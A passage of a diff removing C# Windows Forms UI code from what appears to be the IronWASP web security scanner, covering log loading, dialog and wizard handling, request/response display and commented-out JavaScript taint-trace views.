"Failed", 3, false); - Success = false; - } - while (ExceptionLogRecords.Count > 0) - { - Counter = Counter + ExceptionLogRecords.Count; - foreach (IronException IrEx in ExceptionLogRecords) - { - if (IrEx.ID > StartID) StartID = IrEx.ID; - } - AllExceptionLogRecords.AddRange(ExceptionLogRecords); - ShowWaitFormGridMessage(9, Counter, "In Progress", 2, true); - try - { - ExceptionLogRecords = IronDB.GetExceptionLogRecords(StartID); - } - catch - { - ShowWaitFormMessage("Error reading Exception Log DB.."); - ShowWaitFormGridMessage(9, Counter, "Failed", 3, false); - Success = false; - } - } - //Config.ExceptionsCount = StartID; - Config.ExceptionsCount = IronDB.GetLastExceptionLogRowId(); - UpdateExceptions(AllExceptionLogRecords); - if(Success) ShowWaitFormGridMessage(9, Counter, "Done", 1, false); - Success = false; - //WF.WaitFormProgressBar.PerformStep(); - //StepWaitFormProgressBar(); - //WF.Text = "Updating Sitemap..."; - Counter = 0; - ShowWaitFormGridMessage(10, Counter, "In Progress", 2, true); - Success = true; - ShowWaitFormMessage("Updating Sitemap..."); - UpdateSitemapTree(Urls); - if(Success) ShowWaitFormGridMessage(10, Urls.Count, "Done", 1, false); - - - //StepWaitFormProgressBar(); - StartID = 0; - Counter = 0; - //WF.Text = "Updating Sitemap..."; - ShowWaitFormGridMessage(11, Counter, "In Progress", 2, true); - Success = true; - ShowWaitFormMessage("Updating Trace Messages..."); - ClearAllTraceGridRows(); - List AllTraces = new List(); - List Traces = new List(); - try - { - Traces = IronDB.GetTraceRecords(StartID, 1000); - } - catch - { - ShowWaitFormMessage("Error Trace Log DB.."); - ShowWaitFormGridMessage(11, 0, "Failed", 3, false); - Success = false; - } - while (Traces.Count > 0) - { - Counter = Counter + Traces.Count; - foreach (IronTrace Trace in Traces) - { - if (Trace.ID > StartID) StartID = Trace.ID; - } - AllTraces.AddRange(Traces); - ShowWaitFormGridMessage(11, Counter, "In Progress", 2, true); - try - { - Traces = IronDB.GetTraceRecords(StartID, 1000); - } - catch - { - ShowWaitFormMessage("Error Trace Log DB.."); - ShowWaitFormGridMessage(11, Counter, "Failed", 3, false); - Success = false; - } - } - UpdateTraceGrid(AllTraces); - //Config.TraceCount = StartID; - Config.TraceCount = IronDB.GetLastTraceLogRowId(); - if(Success) ShowWaitFormGridMessage(11, Counter, "Done", 1, false); - - StartID = 0; - - - IronProxy.Start(); - - //Thread.Sleep(500); - - //WF.WaitFormProgressBar.PerformStep(); - StepWaitFormProgressBar(); - //WF.Text = "Complete"; - ShowWaitFormMessage("Complete"); - //Thread.Sleep(500); - - StopUpdatingFullUIFromDB(); - //Thread.Sleep(5000); - } - - internal static void DisplayPluginResultsTrigger(int TriggerID) - { - ResetPluginResultsFields(); - Trigger SelectedTrigger; - if (TriggerID == -1) - { - if (Finding.CurrentPluginResult.BaseRequest != null && Finding.CurrentPluginResult.BaseResponse != null) - { - SelectedTrigger = new Trigger("", Finding.CurrentPluginResult.BaseRequest, "", Finding.CurrentPluginResult.BaseResponse); - } - else - { - return; - } - } - else - { - SelectedTrigger = Finding.CurrentPluginResult.Triggers.GetTrigger(TriggerID); - } - if (SelectedTrigger.Request != null) - { - DisplayPluginResultsRequest(SelectedTrigger.Request); - if (SelectedTrigger.Response != null) - { - DisplayPluginResultsResponse(SelectedTrigger.Response, SelectedTrigger.Request); - } - } - - if (SelectedTrigger.Request != null || SelectedTrigger.Response != null) - { - UI.ResultsTriggerOptionsPanel.Visible = true; - } - if (UI.SelectForDiffTriggersGrid.Rows.Count > 1) - { - UI.ResultsTriggersComparePanel.Visible = true; - } - if (Finding.CurrentPluginResult.FromActiveScan) - { - UI.ResultsScanTracePanel.Visible = true; - } - - StringBuilder SB = new StringBuilder(@"{\rtf1{\colortbl ;\red0\green77\blue187;\red247\green150\blue70;\red255\green0\blue0;\red0\green200\blue50;}"); - SB.AppendLine(@" \fs20 "); - SB.AppendLine(Tools.RtfSafe(Finding.GetTriggerHighlighting(SelectedTrigger, Finding.CurrentPluginResult.FinderType, TriggerID == -1))); - SB.Append(@" \par \par"); - UI.TriggerHighlightRTB.Rtf = SB.ToString(); - } - - internal static void DisplayPluginResultsRequest(Request Req) - { - if (Req != null) - { - UI.ResultsRequestView.SetRequest(Req); - } - } - internal static void DisplayPluginResultsResponse(Response Res, Request Req) - { - if (Res != null) - { - UI.ResultsResponseView.SetResponse(Res, Req); - } - } - internal static void ResetPluginResultsFields() - { - UI.TriggerHighlightRTB.Text = ""; - UI.ResultsRequestView.ClearRequest(); - UI.ResultsResponseView.ClearResponse(); - UI.ResultsTriggerOptionsPanel.Visible = false; - UI.ResultsScanTracePanel.Visible = false; - UI.ResultsTriggersComparePanel.Visible = false; - } - - delegate void UpdateException_d(IronException IrEx); - internal static void UpdateException(IronException IrEx) - { - if (UI.IronTree.InvokeRequired) - { - UpdateException_d UE_d = new UpdateException_d(UpdateException); - UI.Invoke(UE_d, new object[] { IrEx }); - } - else - { - TreeNode ExceptionsNode = UI.IronTree.Nodes[0].Nodes["Exceptions"]; - ExceptionsNode.Nodes.Add(IrEx.ID.ToString(), IrEx.Title); - ExceptionsNode.Text = string.Format("Exceptions ({0})", ExceptionsNode.Nodes.Count.ToString()); - } - } - - delegate void UpdateExceptions_d(List IrExs); - internal static void UpdateExceptions(List IrExs) - { - if (UI.IronTree.InvokeRequired) - { - UpdateExceptions_d UE_d = new UpdateExceptions_d(UpdateExceptions); - UI.Invoke(UE_d, new object[] { IrExs }); - } - else - { - UI.IronTree.BeginUpdate(); - TreeNode ExceptionsNode = UI.IronTree.Nodes[0].Nodes["Exceptions"]; - foreach (IronException IrEx in IrExs) - { - ExceptionsNode.Nodes.Add(IrEx.ID.ToString(), IrEx.Title); - } - ExceptionsNode.Text = string.Format("Exceptions ({0})", ExceptionsNode.Nodes.Count.ToString()); - UI.IronTree.EndUpdate(); - } - } - - internal static void UpdateShellInPrompt(string Prompt) - { - UI.InteractiveShellPromptBox.ReadOnly = false; - UI.InteractiveShellPromptBox.Text = Prompt; - UI.InteractiveShellPromptBox.ReadOnly = true; - } - - internal static void StartMTSend(int ID) - { - UI.TestIDLbl.Text = "ID: " + ID.ToString(); - UI.TestResponseView.ShowStatusMsg("Waiting for Response"); - UI.TestResponseView.ShowProgressBar(true); - //UI.MTReqResTabs.SelectTab("MTResponseTab"); - UI.MTResponseSideTabs.SelectTab("MTResponseTab"); - } - - internal static void EndMTSend(bool ShowResponseTab) - { - UI.MTScriptedSendBtn.Enabled = ManualTesting.ScriptedSendEnabled; - UI.MTSendBtn.Enabled = true; - if(ShowResponseTab) - UI.MTResponseSideTabs.SelectTab("MTResponseTab"); - //UI.MTReqResTabs.SelectTab("MTResponseTab"); - //else - // UI.MTReqResTabs.SelectTab("MTRequestTab"); - } - - delegate void AskUser_d(); - internal static void AskUser() - { - if(UI.InvokeRequired) - { - AskUser_d AU_d = new AskUser_d(AskUser); - UI.Invoke(AU_d, new object[] { }); - } - else - { - if (IsAskUserWindowOpen() && !IronWASP.AskUser.AskUserWindowFree) - { - IronUI.AUW.Text = "1/" + (IronWASP.AskUser.QueueLength + 1 ).ToString() + " " + IronWASP.AskUser.CurrentlyAsked.Title; - return; - } - AskUser AU = IronWASP.AskUser.GetNext(); - IronWASP.AskUser.CurrentlyAsked = AU; - if (AU == null) - { - return; - } - else - { - if (!IsAskUserWindowOpen()) - { - IronUI.AUW = new AskUserWindow(); - } - IronUI.AUW.Text = "IronWASP AskUser API Call - 1/" + (IronWASP.AskUser.QueueLength + 1).ToString();// +" " + AU.Title; - StringBuilder Message = new StringBuilder(@"{\rtf1{\colortbl ;\red0\green77\blue187;\red247\green150\blue70;\red255\green0\blue0;\red0\green200\blue50;} \qc \fs22 \cf1 \b "); - Message.Append(Tools.RtfSafe(AU.Title)); - Message.Append(@" \b0 \cf0 \par \pard \ql \fs18 \par "); - Message.Append(Tools.RtfSafe(AU.Message)); - IronUI.AUW.AskUserMessageRTB.Rtf = Message.ToString(); - IronUI.AUW.Show(); - IronWASP.AskUser.AskUserWindowFree = false; - if (AU.ReturnType.Equals("Bool")) - { - IronUI.AUW.Height = 350; - IronUI.AUW.AskUserYesBtn.Visible = true; - IronUI.AUW.AskUserNoBtn.Visible = true; - IronUI.AUW.AskUserAnswerTB.Visible = false; - IronUI.AUW.AskUserAnswerGrid.Visible = false; - IronUI.AUW.AskUserAnswerRBOne.Visible = false; - IronUI.AUW.AskUserAnswerRBTwo.Visible = false; - IronUI.AUW.AskUserAnswerLbl.Visible = false; - IronUI.AUW.AskUserSubmitBtn.Visible = false; - IronUI.AUW.AskUserPB.Visible = false; - IronUI.AUW.AskUserYesBtn.Focus(); - } - else if (AU.ReturnType.Equals("List")) - { - IronUI.AUW.Height = 600; - foreach (string ListItem in AU.List) - { - IronUI.AUW.AskUserAnswerGrid.Rows.Add(new object[] { false, ListItem }); - } - if (AU.RBOne.Length + AU.RBTwo.Length + AU.Label.Length > 0) - { - IronUI.AUW.AskUserAnswerRBOne.Text = AU.RBOne; - IronUI.AUW.AskUserAnswerRBTwo.Text = AU.RBTwo; - IronUI.AUW.AskUserAnswerRBTwo.Checked = true; - IronUI.AUW.AskUserAnswerLbl.Text = AU.Label; - - IronUI.AUW.AskUserAnswerRBOne.Visible = true; - IronUI.AUW.AskUserAnswerRBTwo.Visible = true; - IronUI.AUW.AskUserAnswerLbl.Visible = true; - - IronUI.AUW.AskUserAnswerGrid.Location = new Point(0,57); - } - else - { - IronUI.AUW.AskUserAnswerRBOne.Visible = false; - IronUI.AUW.AskUserAnswerRBTwo.Visible = false; - IronUI.AUW.AskUserAnswerLbl.Visible = false; - IronUI.AUW.AskUserAnswerGrid.Location = new Point(0, 0); - } - - IronUI.AUW.AskUserAnswerGrid.Visible = true; - IronUI.AUW.AskUserSubmitBtn.Visible = true; - IronUI.AUW.AskUserAnswerTB.Visible = false; - IronUI.AUW.AskUserYesBtn.Visible = false; - IronUI.AUW.AskUserNoBtn.Visible = false; - IronUI.AUW.AskUserPB.Visible = false; - IronUI.AUW.AskUserAnswerGrid.Focus(); - } - else - { - IronUI.AUW.Height = 350; - IronUI.AUW.AskUserAnswerTB.Visible = true; - IronUI.AUW.AskUserAnswerGrid.Visible = false; - IronUI.AUW.AskUserAnswerRBOne.Visible = false; - IronUI.AUW.AskUserAnswerRBTwo.Visible = false; - IronUI.AUW.AskUserAnswerLbl.Visible = false; - IronUI.AUW.AskUserSubmitBtn.Visible = true; - IronUI.AUW.AskUserYesBtn.Visible = false; - IronUI.AUW.AskUserNoBtn.Visible = false; - if (AU.ImageFileLocation.Length > 0) - { - IronUI.AUW.AskUserPB.ImageLocation = AU.ImageFileLocation; - IronUI.AUW.AskUserPB.Visible = true; - } - else - { - IronUI.AUW.AskUserPB.Visible = false; - } - IronUI.AUW.AskUserAnswerTB.Focus(); - } - } - } - } - - static bool IsAskUserWindowOpen() - { - if (IronUI.AUW == null) - { - return false; - } - else if (IronUI.AUW.IsDisposed) - { - return false; - } - else - { - return true; - } - } - - delegate void AskUserAnswered_d(); - internal static void AskUserAnswered() - { - if (UI.InvokeRequired) - { - AskUserAnswered_d AUA_d = new AskUserAnswered_d(AskUserAnswered); - UI.Invoke(AUA_d, new object[] { }); - } - else - { - IronWASP.AskUser.AskUserWindowFree = true; - if (IronWASP.AskUser.QueueLength == 0) - { - if (IronUI.AUW != null) - { - if (!IronUI.AUW.IsDisposed) - { - //IronUI.AUW.Close(); - IronUI.AUW.Dispose(); - } - } - } - else - { - IronUI.AskUser(); - } - } - } - - internal static bool IsScanBranchFormOpen() - { - if (IronUI.SBF == null) - { - return false; - } - else if (IronUI.SBF.IsDisposed) - { - return false; - } - else - { - return true; - } - } - - //internal static void ShowScanBranchForm(string HostName, string UrlPattern) - internal static void ShowScanBranchForm(Request UrlReq) - { - if (IsScanBranchFormOpen()) - { - IronUI.SBF.Activate(); - } - else - { - IronUI.SBF = new ScanBranchWizard(); - IronUI.SBF.BaseRequest = UrlReq; - IronUI.SBF.ScanBranchHostNameTB.Text = UrlReq.BaseUrl; - IronUI.SBF.ScanBranchUrlPatternTB.Text = UrlReq.Url; - - IronUI.SBF.ScanBranchStatsPanel.Visible = false; - - IronUI.SBF.Show(); - } - } - - delegate void UpdateScanBranchStats_d(int ScanDone, int TotalScans, string Message, bool Progress, bool CloseWindow); - internal static void UpdateScanBranchStats(int ScanDone, int TotalScans, string Message, bool Progress, bool CloseWindow) - { - if (IronUI.SBF.InvokeRequired) - { - UpdateScanBranchStats_d USBS_d = new UpdateScanBranchStats_d(UpdateScanBranchStats); - UI.Invoke(USBS_d, new object[] { ScanDone, TotalScans , Message, Progress, CloseWindow}); - } - else - { - if (Progress) IronUI.SBF.ScanBranchProgressBar.PerformStep(); - IronUI.SBF.ScanBranchProgressLbl.Text = Message; - if (ScanDone == TotalScans) IronUI.SBF.FinalBtn.Text = "Close"; - if (CloseWindow) IronUI.SBF.CloseWindow(); - } - } - - - - internal static bool IsStartScanWizardOpen() - { - if (IronUI.SSW == null) - { - return false; - } - else if (IronUI.SSW.IsDisposed) - { - return false; - } - else - { - return true; - } - } - - internal static void ShowStartScanWizard(Request Req) - { - if (IsStartScanWizardOpen()) - { - IronUI.SSW.Activate(); - } - else - { - UI.ConsoleScanUrlTB.ReadOnly = true; - IronUI.SSW = new StartScanWizard(); - IronUI.SSW.BaseRequest = Req; - IronUI.SSW.Show(); - } - } - - //delegate void ShowConfiguredScanMessage_d(string Message, bool Error); - //internal static void ShowConfiguredScanMessage(string Message, bool Error) - //{ - // if (SSW.InvokeRequired) - // { - // ShowConfiguredScanMessage_d SCSM_d = new ShowConfiguredScanMessage_d(ShowConfiguredScanMessage); - // LF.Invoke(SCSM_d, new object[] { Message, Error }); - // } - // else - // { - // if (Message.Equals("0")) - // { - // SSW.Close(); - // } - // else - // { - // SSW.ConfigureScanErrorTB.Text = Message; - // if (Error) - // SSW.ConfigureScanErrorTB.ForeColor = Color.Red; - // else - // SSW.ConfigureScanErrorTB.ForeColor = Color.Black; - // } - // } - //} - - - internal static bool IsReportGenerationWizardOpen() - { - if (IronUI.RGW == null) - { - return false; - } - else if (IronUI.RGW.IsDisposed) - { - return false; - } - else - { - return true; - } - } - - internal static bool IsPluginEditorOpen() - { - if (IronUI.PE == null) - { - return false; - } - else if (IronUI.PE.IsDisposed) - { - return false; - } - else - { - return true; - } - } - - internal static bool IsUIDesignerOpen() - { - if (IronUI.UD == null) - { - return false; - } - else if (IronUI.UD.IsDisposed) - { - return false; - } - else - { - return true; - } - } - - delegate void ShowPluginCompilerError_d(string Message); - internal static void ShowPluginCompilerError(string Message) - { - if (PE.InvokeRequired) - { - ShowPluginCompilerError_d SPCE_d = new ShowPluginCompilerError_d(ShowPluginCompilerError); - PE.Invoke(SPCE_d, new object[] { Message }); - } - else - { - if (Message.Equals("0")) - { - IronUI.PE.PluginEditorErrorTB.Text = ""; - IronUI.PE.PluginEditorErrorTB.BackColor = Color.White; - } - else - { - IronUI.PE.PluginEditorErrorTB.Text = Message + Environment.NewLine.ToString(); - IronUI.PE.PluginEditorErrorTB.BackColor = Color.Red; - } - } - } - - internal static void OpenDiffWindow() - { - if (!IsDiffWindowOpen()) - { - IronUI.DW = new DiffWindow(); - IronUI.DW.Show(); - } - IronUI.DW.Activate(); - } - - internal static bool IsDiffWindowOpen() - { - if (IronUI.DW == null) - { - return false; - } - else if (IronUI.DW.IsDisposed) - { - return false; - } - else - { - return true; - } - } - - internal static void OpenEncodeDecodeWindow() - { - if (!IsEncodeDecodeWindowOpen()) - { - IronUI.EDW = new EncodeDecodeWindow(); - IronUI.EDW.Show(); - } - IronUI.EDW.Activate(); - } - - internal static bool IsEncodeDecodeWindowOpen() - { - if (IronUI.EDW == null) - { - return false; - } - else if (IronUI.EDW.IsDisposed) - { - return false; - } - else - { - return true; - } - } - - delegate void ShowDiffResults_d(string Status, string SideBySideSource, string SideBySideDestination, string SinglePage); - internal static void ShowDiffResults(string Status, string SideBySideSource, string SideBySideDestination, string SinglePage) - { - if (DW.InvokeRequired) - { - ShowDiffResults_d SDR_d = new ShowDiffResults_d(ShowDiffResults); - DW.Invoke(SDR_d, new object[] { Status, SideBySideSource, SideBySideDestination, SinglePage }); - } - else - { - IronUI.DW.DiffResultRTB.Text = ""; - IronUI.DW.SourceResultRTB.Text = ""; - IronUI.DW.DestinationResultRTB.Text = ""; - - IronUI.DW.DiffResultRTB.Rtf = SinglePage; - IronUI.DW.SourceResultRTB.Rtf = SideBySideSource; - IronUI.DW.DestinationResultRTB.Rtf = SideBySideDestination; - - IronUI.DW.DiffStatusTB.Text = Status; - - if (Status.Length == 0 || Status.StartsWith("Done. Diff Level - ")) IronUI.DW.BaseTabs.SelectedIndex = 1; - IronUI.DW.DiffWindowShowDiffBtn.Enabled = true; - } - } - - internal static void OpenImportForm() - { - if (!IsImportFormOpen()) - { - IronUI.IF = new ImportForm(); - IronUI.IF.Show(); - } - IronUI.IF.Activate(); - } - - internal static bool IsImportFormOpen() - { - if (IronUI.IF == null) - { - return false; - } - else if (IronUI.IF.IsDisposed) - { - return false; - } - else - { - return true; - } - } - - delegate void CloseImportForm_d(); - internal static void CloseImportForm() - { - if (IF.InvokeRequired) - { - CloseImportForm_d CIF_d = new CloseImportForm_d(CloseImportForm); - IF.Invoke(CIF_d, new object[] { }); - } - else - { - IronUI.IF.Close(); - } - } - - internal static bool IsCloseFormOpen() - { - if (IronUI.CF == null) - { - return false; - } - else if (IronUI.CF.IsDisposed) - { - return false; - } - else - { - return true; - } - } - - delegate void LogGridStatus_d(bool Show); - internal static void LogGridStatus(bool Show) - { - if (UI.InvokeRequired) - { - LogGridStatus_d LGS_d = new LogGridStatus_d(LogGridStatus); - UI.Invoke(LGS_d, new object[] { Show }); - } - else - { - if (Show) - { - UI.ShowLogGridBtn.Text = "Hide Log Grids"; - UI.LogBaseSplit.SplitterDistance = (UI.LogBaseSplit.Height / 2); - - } - else - { - UI.ShowLogGridBtn.Text = "Show Log Grids"; - if (UI.LogBaseSplit.Height > 50) UI.LogBaseSplit.SplitterDistance = UI.LogBaseSplit.Height; - } - } - } - - internal static void ResetLogStatus() - { - UI.LogStatusTB.Text = ""; - UI.LogStatusTB.Visible = false; - } - - internal static void ResetLogDisplayFields() - { - ResetLogRequestDisplayFields(); - ResetLogResponseDisplayFields(); - ResetLogStatus(); - } - - internal static void ResetLogRequestDisplayFields() - { - UI.LogRequestView.ClearRequest(); - //UI.LogRequestHeadersIDV.Text = ""; - //UI.LogRequestBodyIDV.Text = ""; - //UI.LogRequestParametersQueryGrid.Rows.Clear(); - //UI.LogRequestParametersBodyGrid.Rows.Clear(); - //UI.LogRequestParametersCookieGrid.Rows.Clear(); - //UI.LogRequestParametersHeadersGrid.Rows.Clear(); - UI.ProxyShowOriginalRequestCB.Checked = false; - //UI.LogRequestFormatXMLTB.Text = ""; - } - - internal static void ResetLogResponseDisplayFields() - { - UI.LogResponseView.ClearResponse(); - //UI.LogResponseHeadersIDV.Text = ""; - //UI.LogResponseBodyIDV.Text = ""; - UI.ProxyShowOriginalResponseCB.Checked = false; - //UI.LogResponseFormatXMLTB.Text = ""; - //UI.LogReflectionRTB.Text = ""; - } - - delegate void ShowLogStatus_d(string Message, bool Error); - internal static void ShowLogStatus(string Message, bool Error) - { - if (UI.LogStatusTB.InvokeRequired) - { - ShowLogStatus_d SLS_d = new ShowLogStatus_d(ShowLogStatus); - UI.Invoke(SLS_d, new object[] { Message, Error }); - } - else - { - if (Error) - { - UI.LogStatusTB.ForeColor = Color.Red; - } - else - { - UI.LogStatusTB.ForeColor = Color.Black; - } - UI.LogStatusTB.Text = Message; - UI.LogStatusTB.Visible = true; - } - } - - delegate void ShowLogBottomStatus_d(string Message, bool Error); - internal static void ShowLogBottomStatus(string Message, bool Error) - { - if (UI.MainLogStatusLbl.InvokeRequired) - { - ShowLogBottomStatus_d SLBS_d = new ShowLogBottomStatus_d(ShowLogBottomStatus); - UI.Invoke(SLBS_d, new object[] { Message, Error }); - } - else - { - if (Error) - { - UI.MainLogStatusLbl.ForeColor = Color.Red; - } - else - { - UI.MainLogStatusLbl.ForeColor = Color.Black; - } - if (Message.Length == 0) - { - UI.MainLogStatusLbl.ForeColor = Color.Black; - UI.MainLogStatusLbl.Text = IronLog.MainLogDefaultMsg; - } - else - { - UI.MainLogStatusLbl.Text = Message; - } - UI.MainLogStatusLbl.Visible = true; - } - } - - delegate void ShowCurrentLogStat_d(); - internal static void ShowCurrentLogStat() - { - if (UI.MainLogStatLbl.InvokeRequired) - { - ShowCurrentLogStat_d SCLS_d = new ShowCurrentLogStat_d(ShowCurrentLogStat); - UI.Invoke(SCLS_d, new object[] { }); - } - else - { - switch (UI.LogTabs.SelectedTab.Name) - { - case ("ProxyLogTab"): - UI.MainLogStatLbl.Text = string.Format("Showing {0} - {1} of Proxy Logs", IronLog.ProxyMin, IronLog.ProxyMax); - break; - case ("ScanLogTab"): - UI.MainLogStatLbl.Text = string.Format("Showing {0} - {1} of Scan Logs", IronLog.ScanMin, IronLog.ScanMax); - break; - case ("TestLogTab"): - UI.MainLogStatLbl.Text = string.Format("Showing {0} - {1} of Test Logs", IronLog.TestMin, IronLog.TestMax); - break; - case ("ShellLogTab"): - UI.MainLogStatLbl.Text = string.Format("Showing {0} - {1} of Shell Logs", IronLog.ShellMin, IronLog.ShellMax); - break; - case ("ProbeLogTab"): - UI.MainLogStatLbl.Text = string.Format("Showing {0} - {1} of Probe Logs", IronLog.ProbeMin, IronLog.ProbeMax); - break; - case ("OtherLogTab"): - UI.MainLogStatLbl.Text = string.Format("Showing {0} - {1} of {2} Logs", IronLog.OtherSourceMin, IronLog.OtherSourceMax, IronLog.SelectedOtherSource); - break; - case ("SiteMapLogTab"): - UI.MainLogStatLbl.Text = string.Format("Showing Logs based on SiteMap"); - break; - } - } - } - - delegate void FillLogDisplayFields_d(Session IrSe); - internal static void FillLogDisplayFields(Session IrSe) - { - if (UI.LogDisplayTabs.InvokeRequired) - { - FillLogDisplayFields_d FLDF_d = new FillLogDisplayFields_d(FillLogDisplayFields); - UI.Invoke(FLDF_d, new object[] { IrSe }); - } - else - { - if (IrSe == null) return; - if (IrSe.Request != null) FillLogFields(IrSe.Request); - if (IrSe.Response != null) FillLogFields(IrSe.Response, IrSe.Request); - //FillLogReflection(Reflection); - try - { - UI.LogSourceLbl.Text = "Source: " + IronLog.CurrentSourceName; - UI.LogIDLbl.Text = "ID: " + IronLog.CurrentID.ToString(); - } - catch { } - UI.ProxyShowOriginalRequestCB.Checked = false; - UI.ProxyShowOriginalResponseCB.Checked = false; - UI.ProxyShowOriginalRequestCB.Visible = IrSe.OriginalRequest != null; - UI.ProxyShowOriginalResponseCB.Visible = IrSe.OriginalResponse != null; - IronUI.ResetLogStatus(); - } - } - - internal static void FillLogFields(Request Req) - { - UI.LogRequestView.SetRequest(Req); - //FillLogRequestHeaderFields(Request); - //if (Request.HasBody) - //{ - // FillLogRequestBodyFields(Request); - //} - //else - //{ - // FillLogRequestBodyFields(null); - //} - //FillLogParametersFields(Request); - } - - //internal static void FillLogRequestHeaderFields(Request Request) - //{ - // UI.LogRequestHeadersIDV.Text = Request.GetHeadersAsStringWithoutFullURL(); - //} - - //internal static void FillLogRequestBodyFields(Request Request) - //{ - // if (Request == null) - // { - // UI.LogRequestBodyIDV.Text = ""; - // return; - // } - // if (Request.IsBinary) - // { - // UI.LogRequestBodyIDV.Text = Encoding.UTF8.GetString(Request.BodyArray); - // } - // else - // { - // UI.LogRequestBodyIDV.Text = Request.BodyString; - // } - //} - - //internal static void FillLogParametersFields(Request Request) - //{ - // UI.LogRequestParametersQueryGrid.Rows.Clear(); - // foreach (string Name in Request.Query.GetNames()) - // { - // foreach (string Value in Request.Query.GetAll(Name)) - // { - // UI.LogRequestParametersQueryGrid.Rows.Add(new object[] { Name, Value }); - // } - // } - // UI.LogRequestParametersBodyGrid.Rows.Clear(); - // foreach (string Name in Request.Body.GetNames()) - // { - // foreach (string Value in Request.Body.GetAll(Name)) - // { - // UI.LogRequestParametersBodyGrid.Rows.Add(new object[] { Name, Value }); - // } - // } - // UI.LogRequestParametersCookieGrid.Rows.Clear(); - // foreach (string Name in Request.Cookie.GetNames()) - // { - // foreach (string Value in Request.Cookie.GetAll(Name)) - // { - // UI.LogRequestParametersCookieGrid.Rows.Add(new object[] { Name, Value }); - // } - // } - // UI.LogRequestParametersHeadersGrid.Rows.Clear(); - // foreach (string Name in Request.Headers.GetNames()) - // { - // if (!Name.Equals("Host", StringComparison.OrdinalIgnoreCase) && !Name.Equals("Cookie", StringComparison.OrdinalIgnoreCase)) - // { - // foreach (string Value in Request.Headers.GetAll(Name)) - // { - // UI.LogRequestParametersHeadersGrid.Rows.Add(new object[] { Name, Value }); - // } - // } - // } - //} - - //internal static void FillLogFields(Response Res) - //{ - // - // UI.LogResponseHeadersIDV.Text = Response.GetHeadersAsString(); - // if (Response.HasBody) - // { - // if (Response.IsBinary) - // { - // UI.LogResponseBodyIDV.Text = Encoding.UTF8.GetString(Response.BodyArray); - // } - // else - // { - // UI.LogResponseBodyIDV.Text = Response.BodyString; - // } - // } - // else - // { - // UI.LogResponseBodyIDV.Text = ""; - // } - //} - internal static void FillLogFields(Response Res, Request Req) - { - UI.LogResponseView.SetResponse(Res, Req); - } - - //internal static void FillLogReflection(string Reflection) - //{ - // StringBuilder ReflectionBuilder = new StringBuilder(@"{\rtf1{\colortbl ;\red0\green77\blue187;\red247\green150\blue70;\red255\green0\blue0;\red0\green200\blue50;}"); - // ReflectionBuilder.Append(Tools.RtfSafe( Reflection)); - // UI.LogReflectionRTB.Rtf = ReflectionBuilder.ToString(); - //} - - //internal static void FillTestReflection(string Reflection) - //{ - // StringBuilder ReflectionBuilder = new StringBuilder(@"{\rtf1{\colortbl ;\red0\green77\blue187;\red247\green150\blue70;\red255\green0\blue0;\red0\green200\blue50;}"); - // ReflectionBuilder.Append(Tools.RtfSafe(Reflection)); - // UI.MTReflectionsRTB.Rtf = ReflectionBuilder.ToString(); - //} - - delegate void SetClipBoard_d(string Message); - internal static void SetClipBoard(string Message) - { - if (UI.LogStatusTB.InvokeRequired) - { - SetClipBoard_d SCB_d = new SetClipBoard_d(SetClipBoard); - UI.Invoke(SCB_d, new object[] { Message }); - } - else - { - try - { - Clipboard.SetText(Message); - } - catch { } - } - } - - //delegate void SetJSTaintTraceCode_d(string Code, bool RichText); - //internal static void SetJSTaintTraceCode(string Code, bool RichText) - //{ - // if (UI.JSTaintTraceInRTB.InvokeRequired) - // { - // SetJSTaintTraceCode_d SJTTC_d = new SetJSTaintTraceCode_d(SetJSTaintTraceCode); - // UI.Invoke(SJTTC_d, new object[] { Code, RichText }); - // } - // else - // { - // if (RichText) - // { - // try - // { - // UI.JSTaintTraceInRTB.Rtf = Code; - // } - // catch { UI.JSTaintTraceInRTB.Text = Code; } - // } - // else - // { - // UI.JSTaintTraceInRTB.Text = Code; - // } - // UI.JSTaintResultGrid.Rows.Clear(); - // } - //} - - //delegate void SetJSTaintTraceResult_d(); - //internal static void SetJSTaintTraceResult() - //{ - // if (UI.JSTaintResultGrid.InvokeRequired) - // { - // SetJSTaintTraceResult_d SJTTR_d = new SetJSTaintTraceResult_d(SetJSTaintTraceResult); - // UI.Invoke(SJTTR_d, new object[] { }); - // } - // else - // { - // List CodeLines = IronJint.UIIJ.Lines; - // List Sources = IronJint.UIIJ.SourceLines; - // List Sinks = IronJint.UIIJ.SinkLines; - // List SourceToSinks = IronJint.UIIJ.SourceToSinkLines; - - // bool ShowCleanLines = UI.JSTaintShowCleanCB.Checked; - // bool ShowSourceLines = UI.JSTaintShowSourceCB.Checked; - // bool ShowSinkLines = UI.JSTaintShowSinkCB.Checked; - // bool ShowSourceToSinkLines = UI.JSTaintShowSourceToSinkCB.Checked; - - // bool LineAdded = false; - // bool SourceLine = false; - // bool SinkLine = false; - // bool SourceToSinkLine = false; - // int RowId = 0; - - // UI.JSTaintResultGrid.Rows.Clear(); - // IronJint.LineNoToGridRowNoMapping.Clear(); - - // for (int i = 0; i 0) - // { - // if (UI.JSTaintResultGrid.Rows[UI.JSTaintResultGrid.Rows.Count - 1].Cells[0].Value.ToString().Equals(LineNo.ToString())) - // { - // LineNo = UI.JSTaintResultGrid.Rows.Count - 1; - // } - // else - // { - // LineNo = UI.JSTaintResultGrid.Rows.Add(new object[] { LineNo, IronJint.UIIJ.Lines[LineNo - 1] }); - // } - // } - // else - // { - // LineNo = UI.JSTaintResultGrid.Rows.Add(new object[] { LineNo, IronJint.UIIJ.Lines[LineNo - 1] }); - // } - // } - // if(LineNo > UI.JSTaintResultGrid.Rows.Count) return; - // switch (Type) - // { - // case("Source"): - // UI.JSTaintResultGrid.Rows[LineNo].Cells[1].Style.BackColor = Color.Orange; - // UI.JSTaintResultGrid.Rows[LineNo].Cells[1].Style.SelectionBackColor = Color.Orange; - // UI.JSTaintResultGrid.Rows[LineNo].Cells[1].Style.SelectionForeColor = Color.White; - // break; - // case ("Sink"): - // UI.JSTaintResultGrid.Rows[LineNo].Cells[1].Style.BackColor = Color.HotPink; - // UI.JSTaintResultGrid.Rows[LineNo].Cells[1].Style.SelectionBackColor = Color.HotPink; - // UI.JSTaintResultGrid.Rows[LineNo].Cells[1].Style.SelectionForeColor = Color.White; - // break; - // case ("SourcePlusSink"): - // UI.JSTaintResultGrid.Rows[LineNo].Cells[1].Style.BackColor = Color.IndianRed; - // UI.JSTaintResultGrid.Rows[LineNo].Cells[1].Style.SelectionBackColor = Color.IndianRed; - // UI.JSTaintResultGrid.Rows[LineNo].Cells[1].Style.SelectionForeColor = Color.White; - // break; - // case ("SourceToSink"): - // UI.JSTaintResultGrid.Rows[LineNo].Cells[1].Style.BackColor = 